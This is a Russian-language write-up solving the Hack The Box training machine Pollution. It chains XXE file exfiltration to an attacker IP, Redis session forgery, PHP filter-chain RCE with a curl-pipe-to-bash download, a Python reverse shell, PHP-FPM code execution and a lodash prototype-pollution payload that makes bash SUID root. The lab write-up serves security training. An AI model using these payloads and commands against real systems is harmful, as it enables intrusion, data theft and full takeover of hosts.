Хакер - HTB Pollution. Эксплуатируем XXE и разбираемся с уязвимостью prototype pollution
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- XXE
- Auth Bypass
- PHP include RCE
- Продвижение
- Локальное повышение привилегий
- Prototype pollution
В этом райтапе я покажу, как работать с уязвимостью типа prototype pollution в приложении на Node.js. На пути к ней мы поупражняемся в эксплуатации XXE, поработаем с Redis и применим эксплоит для PHP FPM.
Упражняться мы будем на тренировочной машине Pollution с площадки Hack The Box. Уровень — сложный.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.192 pollution.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел всего три открытых порта:
- 22 — служба OpenSSH 8.4p1;
- 80 — веб‑сервер Apache 2.4.54;
- 6379 — СУБД Redis.
Наиболее вероятная точка входа при таком выборе — веб‑сайт. Его‑то и проверим первым делом.

В информации на сайте отражается реальный домен, который мы добавляем в файл /etc/hosts.
10.10.11.192 pollution.htb collect.htb

А так как мы получили реальное доменное имя, попробуем просканировать поддомены.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-H— заголовок HTTP;-fs— фильтровать страницы по размеру.
Место перебора помечается словом FUZZ.
Получается вот такая команда:
ffuf -u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.collect.htb' -fs 26197

Добавляем все найденные записи в файл /etc/hosts.
10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.collect.htb
На первом домене обнаруживаем открытый форум с возможностью регистрации, а на втором нас встречает HTTP-аутентификация.

Переходим к изучению форума.
ТОЧКА ВХОДА
Регистрируемся на форуме, так как это позволит расширить область исследования. Сразу копируем себе список пользователей, иногда это очень важная информация.

Переходим к открытым темам и просматриваем обсуждения. В одном посте видим, как пользователь расшарил историю прокси‑сервера.

В файле видим всю историю запросов и ответов, проходивших через прокси. Эти данные закодированы в Base64.

Декодировать можно прямо в Burp с помощью комбинации клавиш Ctrl-Shift-B.

Находим очень интересный запрос, который повышает роль пользователя до администратора. Вернемся к исходному сайту и отправим аналогичный запрос с тем же токеном.

Токен оказался неодноразовый, и роль пользователя повысилась до администратора сайта.

Эти привилегии позволяют нам разрешить пользователю получать доступ по API.

Просматриваем историю запросов Burp History и находим запрос на регистрацию пользователя API.

Данные отправляются в формате XML, а значит, здесь может быть уязвимость XXE. Давай проверим!
ТОЧКА ОПОРЫ
XXE
Справка: XXE
Инъекция внешних сущностей XML (XXE) — это уязвимость, которая позволяет атакующему вмешиваться в обработку XML-данных. Эта уязвимость часто помогает атакующему просматривать произвольные файлы в файловой системе сервера и взаимодействовать с любыми серверными или внешними системами, к которым имеет доступ само приложение.
Это происходит из‑за того, что приложение может использовать формат XML для передачи данных. Для их обработки в таких случаях почти всегда применяется стандартная библиотека или API платформы. Уязвимости XXE возникают из‑за того, что спецификация XML содержит потенциально опасные функции, которые можно вызвать, даже если приложение их не использует.
Внешние сущности XML — это тип настраиваемой сущности, определенные значения которых загружаются из файлов DTD с удаленного сервера.
Попробуем прочитать файл /etc/hosts. Запустим веб‑сервер:
python3 -m http.server 80
И создадим нагрузку, которая попытается загрузить файл DTD evil.dtd с нашего веб‑сервера.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe;
]>
<root>
<method>POST</method>
<uri>/auth/register</uri>
<user>
<username>ralf</username>
<password>ralf</password>
</user>
</root>
Теперь переходим к содержимому файла DTD. Сначала сущность будет читать целевой файл и кодировать его в Base64. А затем загружать новую удаленную сущность, но в URL-параметре передавать закодированный файл, который мы хотим получить.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/?file=%file;'>">
%eval;
%exfiltrate;


Мы получили данные, а значит, уязвимость есть. Давай читать файлы сайта. Начинаем, конечно, с index.php (изменяем только первую строку файла DTD).
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
Отправляем новый запрос, получаем файл на свой сервер и декодируем Base64-строку.

Этот файл ничего, кроме новых путей, не раскрывает. Давай получим подключаемый файл bootstrap.php.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>

И получаем секрет для подключения к службе Redis. К ней перейдем чуть позже, а пока продолжим выжимать максимум из XXE. Правда, больше исходные коды нам ничего не открыли, но помним про HTTP-аутентификацию на одном из доменов. Вспоминаем про домен developers. Получим учетные данные из файла /var/www/developers/.htpasswd.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/.htpasswd'>

Чтобы перебрать этот хеш, нам нужно знать режим перебора. В этом поможет справка hashcat.
hashcat --example | grep '\$apr1\$' -A2 -B2

Получаем режим 1600, который передаем в параметре -m.
hashcat -m 1600 hash.txt rockyou.txt

Получаем пароль и авторизуемся на developers.collect.htb, но нас встречает еще и авторизация на сайте.

Теперь перейдем к изучению Redis.
Auth Bypass
Порт открыт, поэтому подключаемся с найденным паролем и получаем все ключи.
redis-cli -h collect.htb -a COLLECTR3D1SPASS
keys *

Получаем сессии, видимо, какого‑то веб приложения. Для проверки переходим к сайту developers, получаем новую сессию в куки и снова проверяем ключи в Redis.


Получим записи по ключам, чтобы разобрать формат хранящихся данных.

Первая запись соответствует сайту collect, а только что созданная сессия, конечно же, ничего не хранит. По известной записи сформируем данные для администратора сайта developers и присвоим только что созданному ключу.
set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";role|s:5:"admin";auth|s:4:"True";"
Обновляем страницу на сайте и получаем доступ от имени авторизованного пользователя.

Сразу обращаем внимание на то, что страница передается в качестве URL-параметра page. В таких случаях нужно сразу искать уязвимости типа LFI или RCE. Я попробовал несколько, но ничего не получилось. Скорее всего, используются фильтры и мы можем посмотреть на них, прочитав код сайта через XXE.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/index.php'>

Используется функция include, но к указанной странице добавляется расширение .php.
PHP include RCE
Даже в таком случае мы можем выполнить произвольный код благодаря репозиторию php_filter_chain_generator.

Теперь отправляем ее на сайт и в ответе видим результат выполнения команды.

Осталось вместо команды id выполнить команду, которая скачает и запустит с нашего веб‑сервера следующий реверс‑шелл.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Чтобы поймать входящее соединение, используем pwncat-cs.
python3 php_filter_chain_generator.py --chain '<?= `curl http://10.10.14.6/r | bash` ?>'

ПРОДВИЖЕНИЕ
Теперь нам необходимо собрать информацию о системе и потенциальных способах повышения привилегий до рута. Я для этого использую скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Давай посмотрим, что нашел скрипт.
В списке процессов отмечаем запущенные от имени разных пользователей процессы php-fpm, а также запущенный от имени рута polution_api nodejs.


Среди прослушиваемых портов есть порт службы MySQL 3306.

Так как работает служба базы данных MySQL, скорее всего, базы данных используются веб‑приложением. Значит, мы можем найти в исходных кодах сайта учетные данные для подключения к СУБД и получить из базы все интересные данные. Код для подключения к СУБД находим в файле login.php.

Подключаемся к базе данных и просматриваем существующие таблицы.
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D developers
show tables;

Получаем данные из единственной таблицы users.
select * from users;

Полученные учетные данные никуда не подходят, поэтому перейдем к php-fpm. Используем известный эксплоит для выполнения кода PHP. В качестве выполняемого кода будем просто вызывать функцию system и передавать ей команду.
touch r.php
python3 fpm.py -c '<?php system("id"); ?>' 127.0.0.1 /tmp/r.php

Команда выполнена от имени пользователя victor. Давай скопируем файл командной оболочки /bin/bash и назначим ему бит SUID.
python3 fpm.py -c '<?php system("cp /bin/bash /tmp/bash; chmod u+s /tmp/bash"); ?>' 127.0.0.1 /tmp/r.php

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Теперь мы можем запустить новую сессию от имени пользователя victor.
/tmp/bash -p

Генерируем SSH-ключ командой ssh-keygen и записываем публичный SSH-ключ в файл ~/.ssh/authorized_keys. Затем подключаемся с приватным ключом и забираем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
В домашнем каталоге пользователя находим исходные коды приложения pollution_api, которое, как мы видели ранее, уже запущено от имени пользователя root.

Исходников очень много, поэтому загрузим на хост архиватор 7za и упакуем их для более удобного скачивания.
./7za a -r pollution_api.7z pollution_api

Получаем архив с удаленного сервера и открываем в любой среде разработки. Все эндпоинты API можем найти в файле documentation.js. Мы уже регистрировались, поэтому в /auth/login можно будет получить токен доступа. Нас интересуют точки /admin/messages и /admin/messages/send.

Переходим к файлу admin.js. Обозначенные точки ведут к модулям Messages и Messages_send соответственно.

При этом из admin.js тоже видим механизм аутентификации, где перед проверкой роли список пользователей извлекается из базы данных запросом User.findAll. Подробности можем найти в файле User.js.

В коде находим учетные данные для подключения к базе данных.

Теперь мы можем подключиться к ней, поменять роль пользователя на администратора и получить доступ к конечным точкам /admin/messages и /admin/messages/send. Подключимся к базе и просмотрим таблицы.
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' -D pollution_api
show tables;

В таблице users хранится информация о пользователях.
select * from users;

Изменить роль пользователей можно одним запросом.
update users set role='admin';
Теперь переходим к командной оболочке и используем API для авторизации.
curl http://127.0.0.1:3000/auth/login -H "content-type: application/json" -d '{"username":"ralf","password":"ralf"}' ;echo

Мы авторизованы и получили токен доступа. Изучаем исходники дальше, чтобы понимать наши возможности.
В файле Messages_send.js происходит проверка параметра text (строка 8), а затем переданные пользователем данные передаются в функцию merge модуля lodash (строки 3 и 15).

Эта функция уязвима перед prototype pollution.
Prototype pollution
В JavaScript классы реализуются с помощью так называемых прототипов. Прототип любого объекта доступен через свойство __proto__, то есть справедливо следующее:
"abc".__proto__ === String.prototype
Прототипы — это обычные объекты, а значит, их можно модифицировать. Добавление свойства к прототипу приведет к тому, что все существующие объекты этого типа тоже будут иметь новое свойство.
Можно проверить на примере пустого объекта obj_1. Добавим к его прототипу свойство x, потом создадим новый объект obj_2 такого же типа, и у него тоже будет свойство x.

В коде мы видим выполнение функции exec, что приводит к созданию нового процесса. Для таких случаев уже есть много готовых нагрузок, эксплуатирующих prototype pollution, которые очень легко найти в интернете.
Так, мы можем установить NODE_OPTIONS для активации дополнительных аргументов командной строки процесса. Не все аргументы получится установить, но один из допустимых — --require, который можно использовать для включения любого файла.
Обычный способ эксплуатации такой уязвимости — вставить новую переменную среды перед NODE_OPTIONS, которая содержит код JavaScript и имеет завершающий комментарий, чтобы избежать синтаксических ошибок. Однако Node.js теперь по‑другому обрабатывает параметр NODE_OPTIONS и помещает его первым в списке аргументов, что не дает эксплуатировать уязвимость.
Однако и это можно обойти — за счет опций самой функции exec. Первый ее аргумент — argv0, он указывает первый элемент в списке аргументов нового процесса (обычно это исполняемый двоичный файл). Весь список аргументов отражен в файле /proc/self/cmdline, поэтому первый элемент будет расположен в самом начале. Таким образом, атакующий должен изменить значение NODE_OPTIONS на --require /proc/self/cmdline и поместить свою нагрузку в argv0.
Осталось решить последнюю проблему. Так как первый аргумент теперь изменен, процесс запустится, поскольку теперь это нагрузка Node.js, а не путь к файлу. Но в опции shell можно указать путь к файлу командной оболочки, который будет использован для запуска команды. Вместо /bin/sh можно задать исполняемый файл Node.js, который и выполнит нашу нагрузку в первом параметре. Раз мы и так работаем из Node.js, путь к исполняемому файлу можно взять из /proc/self/exe.
Собираем нагрузку и можем эксплуатировать prototype pollution.
{
"text":
{
"constructor":
{
"prototype":
{
"shell":"/proc/self/exe",
"argv0":"console.log(require("child_process").execSync("chmod +s /usr/bin/bash").toString())//",
"NODE_OPTIONS":"--require /proc/self/cmdline"
}
}
}
}
Эта нагрузка установит S-бит файлу командной оболочки /bin/bash. Отправляем запрос с нагрузкой на сервер.
curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicmFsZiIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3NTMzODg4MCwiZXhwIjoxNjc1MzQyNDgwfQ.SLKZoNeaTGU0mr22ue2C3AB1htN5VAU7ZS0rZCpCEhs" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require("child_process").execSync("chmod +s /usr/bin/bash").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
Сервер ответил {"Status":"Ok"}, проверим права на файл /bin/bash.

Атрибут SUID установлен, а это значит, что обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. В данном случае это root.

Машина захвачена, и мы получаем флаг.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei